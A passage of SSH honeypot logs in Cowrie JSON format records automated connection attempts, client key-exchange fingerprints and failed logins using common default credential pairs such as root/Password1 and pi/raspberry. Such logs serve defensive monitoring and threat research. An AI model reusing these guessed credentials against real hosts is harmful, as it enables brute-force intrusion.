-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:06.665147Z","src_ip":"165.154.137.186","session":"24a4cfa10644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:07.567656Z","src_ip":"165.154.137.186","session":"24a4cfa10644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:08.827703Z","src_ip":"165.154.137.186","session":"24a4cfa10644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56634,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5aebf83248f","protocol":"ssh","message":"New connection: 165.154.137.186:56634 (10.17.0.5:22) [session: f5aebf83248f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:11.613889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:11.619235Z","src_ip":"165.154.137.186","session":"f5aebf83248f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:11.868946Z","src_ip":"165.154.137.186","session":"f5aebf83248f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:12.627273Z","src_ip":"165.154.137.186","session":"f5aebf83248f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:13.890504Z","src_ip":"165.154.137.186","session":"f5aebf83248f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56650,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72d85c1f050","protocol":"ssh","message":"New connection: 165.154.137.186:56650 (10.17.0.5:22) [session: b72d85c1f050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:14.370282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:14.373498Z","src_ip":"165.154.137.186","session":"b72d85c1f050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:14.649747Z","src_ip":"165.154.137.186","session":"b72d85c1f050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:15.818781Z","src_ip":"165.154.137.186","session":"b72d85c1f050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:17.098583Z","src_ip":"165.154.137.186","session":"b72d85c1f050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":35852,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0904118933f","protocol":"ssh","message":"New connection: 2.57.122.209:35852 (10.17.0.5:22) [session: c0904118933f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:19.001472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:19.435109Z","src_ip":"2.57.122.209","session":"c0904118933f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:19.438152Z","src_ip":"2.57.122.209","session":"c0904118933f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:21.587479Z","src_ip":"2.57.122.209","session":"c0904118933f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43754,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f208721f733","protocol":"ssh","message":"New connection: 165.154.137.186:43754 (10.17.0.5:22) [session: 1f208721f733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:22.039023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:22.042282Z","src_ip":"165.154.137.186","session":"1f208721f733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:22.300035Z","src_ip":"165.154.137.186","session":"1f208721f733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:22.995035Z","src_ip":"2.57.122.209","session":"c0904118933f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:23.073066Z","src_ip":"165.154.137.186","session":"1f208721f733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:24.333767Z","src_ip":"165.154.137.186","session":"1f208721f733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38626,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a87fff19d9a","protocol":"ssh","message":"New connection: 165.154.137.186:38626 (10.17.0.5:22) [session: 5a87fff19d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:29.745667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:29.749092Z","src_ip":"165.154.137.186","session":"5a87fff19d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:30.010777Z","src_ip":"165.154.137.186","session":"5a87fff19d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:30.299026Z","src_ip":"8.210.75.243","session":"ba4baa5fa03d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:30.786363Z","src_ip":"165.154.137.186","session":"5a87fff19d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:32.046420Z","src_ip":"165.154.137.186","session":"5a87fff19d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":43474,"dst_ip":"159.203.135.109","dst_port":22,"session":"60e94af5155e","protocol":"ssh","message":"New connection: 77.237.244.154:43474 (159.203.135.109:22) [session: 60e94af5155e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:32.892777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:32.896950Z","src_ip":"77.237.244.154","session":"60e94af5155e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:32.990885Z","src_ip":"77.237.244.154","session":"60e94af5155e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manta123","message":"login attempt [root/manta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:33.271792Z","src_ip":"77.237.244.154","session":"60e94af5155e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:34.366731Z","src_ip":"77.237.244.154","session":"60e94af5155e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38630,"dst_ip":"10.17.0.5","dst_port":22,"session":"c329bbb84cda","protocol":"ssh","message":"New connection: 165.154.137.186:38630 (10.17.0.5:22) [session: c329bbb84cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.446732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.450295Z","src_ip":"165.154.137.186","session":"c329bbb84cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.704980Z","src_ip":"165.154.137.186","session":"c329bbb84cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33594,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a638a7aac4f","protocol":"ssh","message":"New connection: 91.92.40.4:33594 (10.17.0.5:22) [session: 4a638a7aac4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.734938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.738684Z","src_ip":"91.92.40.4","session":"4a638a7aac4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:40.819413Z","src_ip":"91.92.40.4","session":"4a638a7aac4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwer1234","message":"login attempt [test/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.063897Z","src_ip":"91.92.40.4","session":"4a638a7aac4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c29dc25e8b1","protocol":"ssh","message":"New connection: 165.154.137.186:43858 (10.17.0.5:22) [session: 4c29dc25e8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.094970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.098977Z","src_ip":"165.154.137.186","session":"4c29dc25e8b1","protocol":"ssh"}
